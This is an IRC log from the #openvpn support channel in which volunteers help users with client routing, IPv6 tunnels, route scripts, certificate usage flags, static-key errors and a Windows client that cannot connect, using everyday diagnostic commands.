06:47 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has joined #openvpn
06:48 -!- zamba [marius@flage.org] has joined #openvpn
07:14 -!- kubbing_ [~kubbing@c-006.certicon.cz] has joined #openvpn
07:14 -!- kubbing [~kubbing@c-006.certicon.cz] has quit [Ping timeout: 264 seconds]
07:19 -!- novaflash is now known as novaflash_away
07:19 -!- novaflash_away is now known as novaflash
07:25 -!- Diffen [~diffen@80.78.212.242] has joined #openvpn
07:26 -!- kubbing_ [~kubbing@c-006.certicon.cz] has quit [Remote host closed the connection]
07:27 -!- kubbing [~kubbing@c-006.certicon.cz] has joined #openvpn
07:30 -!- Colttt [~stefan.kr@cpe-001a8c164de9.ip-pool.rftonline.net] has left #openvpn []
07:34 -!- Diffen [~diffen@80.78.212.242] has quit [Quit: This computer has gone to sleep]
07:36 -!- Diffen [~diffen@80.78.212.242] has joined #openvpn
07:37 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
07:41 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
07:44 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 245 seconds]
07:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:58 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
08:06 -!- sisar [~chatzilla@64.62.201.17] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
08:24 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Read error: Operation timed out]
08:27 -!- newbie|3 [~tjz@bb219-74-189-54.singnet.com.sg] has joined #openvpn
08:30 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 246 seconds]
08:31 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
08:33 -!- hatschi [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has quit [Quit: hatschi]
08:40 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
08:52 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:58 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:02 -!- MaynardWaters [~asdfjkl@c-71-238-30-69.hsd1.mi.comcast.net] has joined #openvpn
09:03 < MaynardWaters> hello, I am trying to figure out why my openvpn on ubuntu does not act like my openvpn on windows. When I use the openvpn on ubuntu, it does not let me access the rest of the internet, but restricts me to only getting to the resources housed within that network.  do I need a proxy to get back to the internet?
09:03 < dpecka> MaynardWaters: depends .. what tool do you use as a client application ?
09:04 < MaynardWaters> in windows I am using the .exe
09:04 < dpecka> cool story, but i'm asking what client software are u using in ubuntu
09:04 < MaynardWaters> in ubuntu I have tried a number of client apps, the one that works the best (still not as good as the windows one) is built into ubuntu's network-manager applet
09:05  * MaynardWaters is opening up the software center to give specifics
09:05 < dpecka> MaynardWaters: then please try to reproduce your issues with native openvpn software
09:05 -!- kubbing [~kubbing@c-006.certicon.cz] has quit [Remote host closed the connection]
09:06 < MaynardWaters> dpecka, the issue was worse when i tried the openvpn cli
09:06 < MaynardWaters> the halfway good option is network-manager-openvpn-gnome
09:07 < MaynardWaters> if you prefer and it is easier for you to help, I will go back to the openvpn cli
09:07 < dpecka> MaynardWaters: do you realize, that both of them are plainly scripted to use openvpn backend as i suggested to do directly ?
09:07 -!- csaba [~csaba@195.199.154.25] has joined #openvpn
09:07 < MaynardWaters> I did not realize this, but I suspected such
09:07 < csaba> hello
09:08 < dpecka> MaynardWaters: i dunno what's openvpn cli but you should use directly openvpn binary
09:08 < MaynardWaters> dpecka: when i say openvpn cli, i just mean I type "sudo openvpn --config file.ovpn"
09:08 < MaynardWaters> is that the same as what you mean by using the openvpn binary?
09:09 -!- kubbing [~kubbing@c-006.certicon.cz] has joined #openvpn
09:09 < csaba> I found this website: https://www.secure-computing.net/
09:09 <@vpnHelper> Title: SCN: SCN (at www.secure-computing.net)
09:09 < csaba> http://www.secure-computing.net/wiki/index.php?title=Special:Upload&wpDestFile=Scn.zip
09:09 <@vpnHelper> Title: Login required - Secure Computing Wiki (at www.secure-computing.net)
09:10 < csaba> but can not download the mentioned file
09:10 < csaba> scn.zip for the openldap schema
09:10 < dpecka> MaynardWaters: http://susepaste.org/view/raw/83690841 << use config like this (refer please to docs) and openvpn .. it will work
09:10 < csaba> am I at the right place?
09:11 < csaba> can you guys help me?
09:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
09:15 < csaba> anyone?
09:15 -!- Diffen [~diffen@80.78.212.242] has quit [Quit: This computer has gone to sleep]
09:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:16 -!- Diffen [~diffen@80.78.212.242] has joined #openvpn
09:19 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has quit [Ping timeout: 245 seconds]
09:19 -!- ihptru [~ihptru@164.138.25.4] has quit [Ping timeout: 260 seconds]
09:20 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zxcgkocqnpwnljgq] has quit [Ping timeout: 258 seconds]
09:21 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has joined #openvpn
09:21 < csaba> vnpHelper: can someone point me where can I get help with OpenLDAP/Authentication
09:22 < csaba> please, there is mentioned on this website a scn.zip file for host verification but is of wrong url
09:22 < csaba> can not download it,
09:23 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:34 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
09:35 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has joined #openvpn
09:37 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:37 -!- pelle2 [~palle@178-132-74-156.cust.azirevpn.net] has left #openvpn []
09:45 -!- defswork [~andy@141.0.50.105] has joined #openvpn
09:50 -!- defswork [~andy@141.0.50.105] has quit [Remote host closed the connection]
09:51 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has quit [Remote host closed the connection]
09:52 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has joined #openvpn
10:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
10:07 -!- kls [~kls@adslc3e4e579.fixip.t-online.hu] has joined #openvpn
10:07 < kls> hello! anyone around for a bit of troubleshooting? i am trying to install openvpn in a vps and have been failing all day.
10:10 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has left #openvpn []
10:11 -!- defswork [~andy@141.0.50.105] has joined #openvpn
10:13 -!- kls [~kls@adslc3e4e579.fixip.t-online.hu] has quit []
10:14 -!- kls [~kls@adslc3e4e579.fixip.t-online.hu] has joined #openvpn
10:15 -!- xbanux [~xbanux@triband-mum-59.182.145.108.mtnl.net.in] has quit [Remote host closed the connection]
10:15 -!- kls [~kls@adslc3e4e579.fixip.t-online.hu] has quit [Remote host closed the connection]
10:15 -!- xbanux [~xbanux@triband-mum-59.182.144.193.mtnl.net.in] has joined #openvpn
10:18 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
10:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
10:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:28 -!- xbanux [~xbanux@triband-mum-59.182.144.193.mtnl.net.in] has quit [Read error: Connection reset by peer]
10:29 -!- xbanux [~xbanux@triband-mum-59.182.168.246.mtnl.net.in] has joined #openvpn
10:29 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:52 < jzaw> anyone set up a server (and client) purely on ipv6?
10:52 < jzaw> not sending ipv6 down an existing ipv4 tunnel but actually an ipv6 tunnel
10:53 < jzaw> potentially and probably routed
10:54 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
10:55 -!- Diffen [~diffen@80.78.212.242] has quit [Quit: This computer has gone to sleep]
10:58 -!- xbanux [~xbanux@triband-mum-59.182.168.246.mtnl.net.in] has quit [Read error: Connection reset by peer]
10:59 -!- xbanux [~xbanux@triband-mum-59.182.161.92.mtnl.net.in] has joined #openvpn
10:59 -!- abec0_ is now known as abec0
11:10 -!- brute11k [~brute@89.249.231.66] has quit [Ping timeout: 264 seconds]
11:12 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
11:13 -!- brute11k [~brute@89.249.235.173] has joined #openvpn
11:16 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-wclmhmpvxmgxurke] has joined #openvpn
11:19 -!- kubbing [~kubbing@c-006.certicon.cz] has quit [Ping timeout: 246 seconds]
11:21 <@ecrist> csaba: did you ever get things figured out?
11:22 <@EugeneKay> jzaw - should work just fine in 2.3 with --server-ipv6
11:22 <@EugeneKay> Or w/e the option is called
11:27 < jzaw> EugeneKay, and does one specify network by /64 ?   cos for ipv4 you use 255.255.x.x
11:27 <@EugeneKay> TBQH I've not used 2.3 yet.
11:27 <@EugeneKay> I would suspect that you hand out from a /64, because that's the minimum IPv6 network size(per the RFCs, anyway)
11:28 < jzaw> for slaac yes
11:28 <@EugeneKay> For any network :-p
11:28 < jzaw> but for the endpoints you dont care
11:28 <@EugeneKay> It works just fine all the way down to a /126, but don't tell anybody that you're actually doing that.
11:28 < jzaw> its only going to use 2 ips or 4
11:29 <@EugeneKay> In any case, give it a go. What's the worst that could happen? ;-)
11:29 < jzaw> the world could cave in and disappear down a hole ?
11:29 < jzaw> :D
11:29 <@EugeneKay> It could be an improvement.
11:30 < jzaw> i cant argue wih that
11:30  * EugeneKay goes back to GF+movie
11:30 < Dave2> Hey. I'm trying to get OpenVPN 2.3 set up such that it it'll not add any routes itself, letting my up script do that for me, but still pass the route_net_gateway variable through to my up script so that I can add the route in a separate table. Is there a way to do this that I've not found? As far as I can tell I can have the variable when it's adding routes for me, but not when I have route-nopull (which makes sense).
11:35 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
11:35 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
11:37 <@dazo> Dave2: check out --route-nopull in the man page
11:38 < Dave2> dazo: route-nopull suppresses $route_net_gateway as far as I can tell, so I can't add the route myself
11:39 <@dazo> Dave2: have you tried --route-noexec + --route-up ?
11:40  * dazo actually confused --route-nopull with --route-noexec in his first comment
11:40 < Dave2> I have route-noexec set at the moment and that stops it from adding 0.0.0.0/1 and 128.0.0.0/1 routes, but it's still adding a route; would --route-up fix that?
11:42 < Dave2> (The route that it's adding isn't a default route, it's just for the subnet the VPN is on, but I still don't want that route)
11:42 <@dazo> Dave2: --route-up is to let your own script set up the routes .... and all pushed routes should then be available via env. variables
11:43 <@dazo> I'd probably just do the opposite ... let pushed routes be set up ... and then add a --route-up script (maybe with a --route-delay) to remove the unwanted route
11:43 <@dazo> at least if it's just one route or so
11:45 < Dave2> I was considering doing that, but I don't think I can see the subnet in an env variable passed to route-up, so it's a little more complex. (Unless there's an easy way to delete all routes relating to $dev, I might look at that.)
11:47 <@dazo> You mean, that push route you don't want isn't static?
11:48 < Dave2> It probably is static per VPN provider, but I'm trying to be generic as this will end up using more than one
11:48 <@dazo> ah, okay
11:48 <@dazo> then I think --route-up + --route-noexec is the solution ... all routes should be sent to the script via env.variables, iirc ... so you need to parse them
11:52 < Dave2> Oh, I see what I'm doing wrong, I'm looking for CIDR and completely skipping past the netmask
11:55 -!- xbanux [~xbanux@triband-mum-59.182.161.92.mtnl.net.in] has quit [Read error: Connection reset by peer]
11:55 -!- xbanux [~xbanux@triband-mum-59.182.139.230.mtnl.net.in] has joined #openvpn
12:03 -!- AsadH is now known as zz_AsadH
12:09 -!- z0ttel [~ident@2a01:4f8:100:7ffe:2::2] has joined #openvpn
12:09 < z0ttel> hi
12:10 -!- md_5 [~md_5@mcdevs/trusted/md-5] has quit [Quit: ZNC - http://znc.in]
12:11 -!- newbie|3 [~tjz@bb219-74-189-54.singnet.com.sg] has quit [Read error: Connection reset by peer]
12:12 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
12:12 < z0ttel> I just switched from TinyCA to easyrsa for my pki management
12:13 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
12:13 < z0ttel> And tried to create server certificates that could be used for openvpn clients
12:13 < z0ttel> (nsCertType = server, client)
12:13 < z0ttel> a certificate dump with openssl confirms that setting, but I keep getting an error on connection: http://npaste.de/p/xA/
12:14 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
12:14 < z0ttel> are there other options I have to set or am I missing something else?
12:17 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
12:19 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
12:19 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
12:23 < z0ttel> I guess I'll give clientAuth a try
12:25 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:27 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
12:30 < z0ttel> okay - that did it - thank you anyway - ciao :)
12:30 -!- z0ttel [~ident@2a01:4f8:100:7ffe:2::2] has left #openvpn []
12:33 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:37 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
12:41 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:44 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
12:45 -!- brute11k [~brute@89.249.235.173] has quit [Ping timeout: 245 seconds]
12:46 -!- brute11k [~brute@89.249.235.42] has joined #openvpn
12:47 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
12:52 -!- xbanux [~xbanux@triband-mum-59.182.139.230.mtnl.net.in] has quit [Read error: Connection reset by peer]
12:52 -!- xbanux [~xbanux@triband-mum-59.182.156.145.mtnl.net.in] has joined #openvpn
12:55 -!- JSharpe [~JSharpe@146.185.24.18] has quit [Ping timeout: 245 seconds]
12:56 -!- kls [~kls@198.211.125.123] has joined #openvpn
12:57 < kls> hello
12:58 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:58 -!- kls [~kls@198.211.125.123] has quit [Client Quit]
13:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
13:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:13 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
13:14 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
13:14 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
13:20 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
13:34 -!- hatschi [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has joined #openvpn
13:42 -!- zz_AsadH is now known as AsadH
13:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
13:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 258 seconds]
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:03 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:07 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
14:18 -!- JSharpe [~JSharpe@web.sinexdigitalrecovery.com] has joined #openvpn
14:19 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
14:27 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
14:34 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
14:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
15:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:03 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Quit: ZNC - http://znc.in]
15:09 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
15:09 -!- hatschi [~marvin@dslb-178-010-198-195.pools.arcor-ip.net] has quit [Quit: hatschi]
15:12 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:39 -!- erry is now known as errietta
15:40 -!- master_of_master [~master_of@p4FF24801.dip.t-dialin.net] has joined #openvpn
15:44 -!- master_o1_master [~master_of@p4FF24BF8.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
15:48 -!- xbanux [~xbanux@triband-mum-59.182.156.145.mtnl.net.in] has quit [Ping timeout: 264 seconds]
15:49 -!- master_o1_master [~master_of@p4FF24695.dip.t-dialin.net] has joined #openvpn
15:49 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
15:49 -!- dazo is now known as dazo_afk
15:53 -!- master_of_master [~master_of@p4FF24801.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
15:56 -!- Shway [~Shway@216.208.252.66] has joined #openvpn
15:57 -!- Shway [~Shway@216.208.252.66] has left #openvpn []
16:01 -!- brute11k [~brute@89.249.235.42] has quit [Quit: Leaving.]
16:02 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:04 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has joined #openvpn
16:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:30 -!- mallxs [~mallxs@84.246.31.190] has joined #openvpn
16:34 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
16:36 < mallxs> Hi i have a up and running a openvpn between a debia and a rhel  using a static.key .. on the rhel side it keep complaining: Authenticate/Decrypt packet error: bad packet ID
16:36 < mallxs> any idea where i should start looking ?
16:38 < pekster> mallxs: Verify the key file is the same, you've properly configured the direction option to the --secret parameter, and that your --comp-lzo usage matches exactly on both sides, down to the optional patameter on it
16:38 < mallxs> pekster: thx will go look
16:42 < mallxs> pekster: lzo is not enabled (yet)  and  in the conf i have only "secret static.key" as opton
16:42 < pekster> You have 2 configs (one at each end.) Tell you what, how about you just pastebin them?
16:42 < pekster> !paste
16:42 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
16:42 < pekster> Oh, and we have some nice grep magic to rip out comments/blanks:
16:42 < pekster> !configs
16:42 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:43 < pekster> !learn pastebin as If you're pasting config files, see !configs for grep syntax to remove comments comments
16:43 <@vpnHelper> Joo got it.
16:45 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has left #openvpn []
16:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:49 < Rienzilha> anyone
16:49 < Rienzilha> whops
16:49 < Rienzilha> disregard that
16:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
16:58 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
16:58 < mallxs> pekster: http://pastebin.com/zz6t3sFX
16:59 < mallxs> it now there
17:02 -!- robert_ [~hellspawn@objectx/robert] has joined #openvpn
17:02 < pekster> No ping on the server side, but that doesn't matter if you're not using ping-restart anyway. Should be fine, provided your key matches (did you checksum it to verify it matches?)
17:03 < pekster> Oh, 2.1... I'm not sure what it's default is for comp-lzo actually
17:03 < pekster> That's a rather old version
17:03 < mallxs> Not yet but i i do have a connection and do a ssh to the other machine  .. would be bad if the didn't match and it still worked
17:04 < mallxs> s/the/they/
17:05 < pekster> Right (well, sort of. It doesn't use the entire key file unless you're using the longest keyed cipher in bi-directional mode. You're doing neither
17:05 < mallxs> pekster: the 2.1 i will fix .. move to a newer machine  ...   ca you point me to a read for the keydection thing ?
17:06 < mallxs> for the key i did opencpn --genkey static
17:06 < mallxs> minus the typo's
17:07 < pekster> See --secret in the manpage. Basically, you just add a 2nd parameter of '0' and '1' to each end (they must be opposite)
17:07 < pekster> It's more secure since it uses 4 keys: one in each direction for HMAC and encryption
17:08 < mallxs> so i go into the static.key file and add the 0 & 1 ?
17:09 < pekster> Hmm, I just checked the 2.1.3 manpage, and 'comp-lzo adaptive' is the default when unspecified. You can try adding a matching directive to each end, but that shoudln't be your issue
17:09 < pekster> No, you add it to the config file
17:09 < pekster> There's an entire section on that in the manpage
17:09 < pekster> Search for the string '--secret'
17:10 -!- errietta is now known as erry
17:12 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
17:19 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
17:21 < mallxs> ok thx pekster  fixed the secred  and now i have a connection in copied the key again .
17:23 < mallxs> but i did not fix the Authenticate/Decrypt packet error: bad packet ID in my syslog mey that be due to firewall 's there are lot of cisco beteen the machines
17:24 -!- AsadH is now known as zz_AsadH
17:24 < mallxs> and a linux firewall-iptables / router
17:24 < pekster> Only if this "firewall" is editing packet data. That's likely not your problem
17:25 < mallxs> ok thx for the help .. i only then have to cleanup my syslog more frequent
17:25 < pekster> I'd still try what I suggest a while back; add an explicit --comp-lzo option with your choice of parameter to both ends such that they match
17:26 < mallxs> yes did that have set them to yes on both sides
17:28 -!- zz_AsadH is now known as AsadH
17:29 < mallxs> o btw   pfSense  what is that?  i followed the link you gave me but there was no install talk or how to get it ?
17:31 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:44 -!- JackWinter1 [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
17:46 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
17:50 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
17:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:54 -!- kubbing [~kubbing@89.177.146.18] has quit [Read error: Operation timed out]
17:57 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
17:58 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
17:58 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
18:01 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Ping timeout: 272 seconds]
18:05 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
18:16 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 264 seconds]
18:28 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
18:39 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has joined #openvpn
18:46 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
18:47 -!- roconnor [~roconnor@69.166.22.226] has joined #openvpn
18:47 < roconnor> !welcome
18:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:51 < roconnor> !mitm
18:51 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
18:51 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:59 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
19:00 -!- raidz is now known as raidz_away
19:01 -!- roconnor [~roconnor@69.166.22.226] has quit [Read error: Operation timed out]
19:01 -!- roconnor [~roconnor@e120-pool-d89a65c3.brdbnd.voicenetwork.ca] has joined #openvpn
19:01 -!- AsadH is now known as zz_AsadH
19:03 -!- roconnor [~roconnor@e120-pool-d89a65c3.brdbnd.voicenetwork.ca] has left #openvpn []
19:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
19:06 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
19:30 -!- njbair [~njbair@user-12l369d.cable.mindspring.com] has joined #openvpn
19:32 < njbair> I've got a working tap client/server config which I am able to launch from the CLI (using sudo, anyway). I've installed the desktop windows client on another machine and loaded the same config. But the client just gets stuck on "connecting..." and the server logs show no connection attempts being made. Any ideas what's wrong?
19:38 < Poster> Is the server running UDP or TCP?
19:39 < njbair> UDP
19:39 < Poster> Does netstat on the server show the expected UDP listener on the correct port?
19:40 < njbair> I haven't checked, but as I said the config works from a Linux box on the command line
19:41 < Poster> well that's a start, try verifying via netstat the UDP listener is where you expect
19:41 < Poster> it sounds like you might have some packet filtering between the client and server
19:42 < njbair> hmm, I don't see it there
19:42 < njbair> server is a DD-WRT router, BTW
19:42 < Poster> ok you might have iptables in play there
19:43 < Poster> when you launch the openvpn daemon from the DD-WRT, are you putting it in the background with the --daemon switch?
19:44 < njbair> not explicitly, not sure what the default is
19:45 < njbair> ok
19:45 < njbair> ps | grep openvpn shows it was launched with --daemon
19:45 < Poster> when you start via sudo, without daemon, it will launch in foreground
19:45 < Poster> ok it typically is when called via init script
19:45 < Poster> do you have lsof?
19:45 < njbair> no
19:45 < Poster> how about netstat -an | grep UDP
19:46 < njbair> you understand that when I talked about launching with sudo, I was talking about a client, right?
19:46 < njbair> there it is, on 1194
19:46 < Poster> ok I took it the client was a windows host
19:46 < njbair> I have two clients
19:47 < njbair> the linux client works via CLI, the windows client hangs on "connecting..."\
19:47 < Poster> oh, ok, is there some type of firewall on the windows host?
19:47 < njbair> lemme check if Windows Firewall is enabled...
19:48 < Poster> is the working Linux host and the Windows host inside the same subnet?
19:49 < njbair> Yes...in fact, the windows host is a bridged VM inside of the Linux host.
19:49 < njbair> my local router sees them both as unique IPs
19:49 < njbair> I just disabled Windows Firewall and I still can't connect
19:50 < Poster> is the Linux host currently connected?
19:50 < njbair> no
19:52 < Poster> are you referencing the DD-WRT by name or IP address?
19:52 < njbair> name
19:52 < Poster> can you ping it by name?
19:52 < njbair> no but that's because ping is disabled on the router. But I can connect via web/ssh via name
19:53 < Poster> can you load the server configuration on the host Linux system and connect there?
19:53 < njbair> I haven't tried that...
19:53 < Poster> you might also be able to use tcpdump on the Linux host
19:54 < Poster> if your LAN adapter is eth0, something like
19:54 < Poster> sudo tcpdump -i eth0 port 1194
19:55 < njbair> well hey now, this is weird.
19:56 < njbair> I'm not running the server locally yet
19:56 < njbair> but I just invoked tcpdump
19:56 < Poster> I am assuming your virtualization software is bridging your LAN adapter
19:56 < njbair> and I got a bunch of packets from the remote server
19:57 < njbair> yes, it's bridged
19:57 < Poster> remote server being the DD-WRT address?
19:57 < njbair> yes
19:57 < Poster> is the other IP address that of the Windows system?
19:58 < njbair> no, it's the linux host where I ran the tcpdump
19:58 < njbair> but that was it
19:58 < njbair> nothing more since then
19:59 < Poster> ok so can you validate that the openvpn daemon is not running on the Linux host?
19:59 < njbair> yes
19:59 < njbair> nothing in output of ps
19:59 < njbair> tcpdump shows nothing when I try to connect from the windows host
20:00 < Poster> ok try this, from the Windows host
20:00 < Poster> telnet dd-wrt 1194
20:00 < Poster> it will invoke a TCP connection, but should be captured by the tcpdump
20:00 < njbair> hmm, no telnet in win7 apparently
20:00 < njbair> this is home edition
20:01 < njbair> better go get putty
20:01 < Poster> Little rusty on Windows 7, it's optional I think
20:01 < Poster> I don't remember if it's a feature or add/remove programs windows component
20:02 < njbair> putty works
20:02 < Poster> ok so you're seeing the 1194 TCP connection via tcpdump with the correct source address?
20:02 < njbair> windows host sent three packets, then timed out
20:02 < njbair> each about 5secs apart
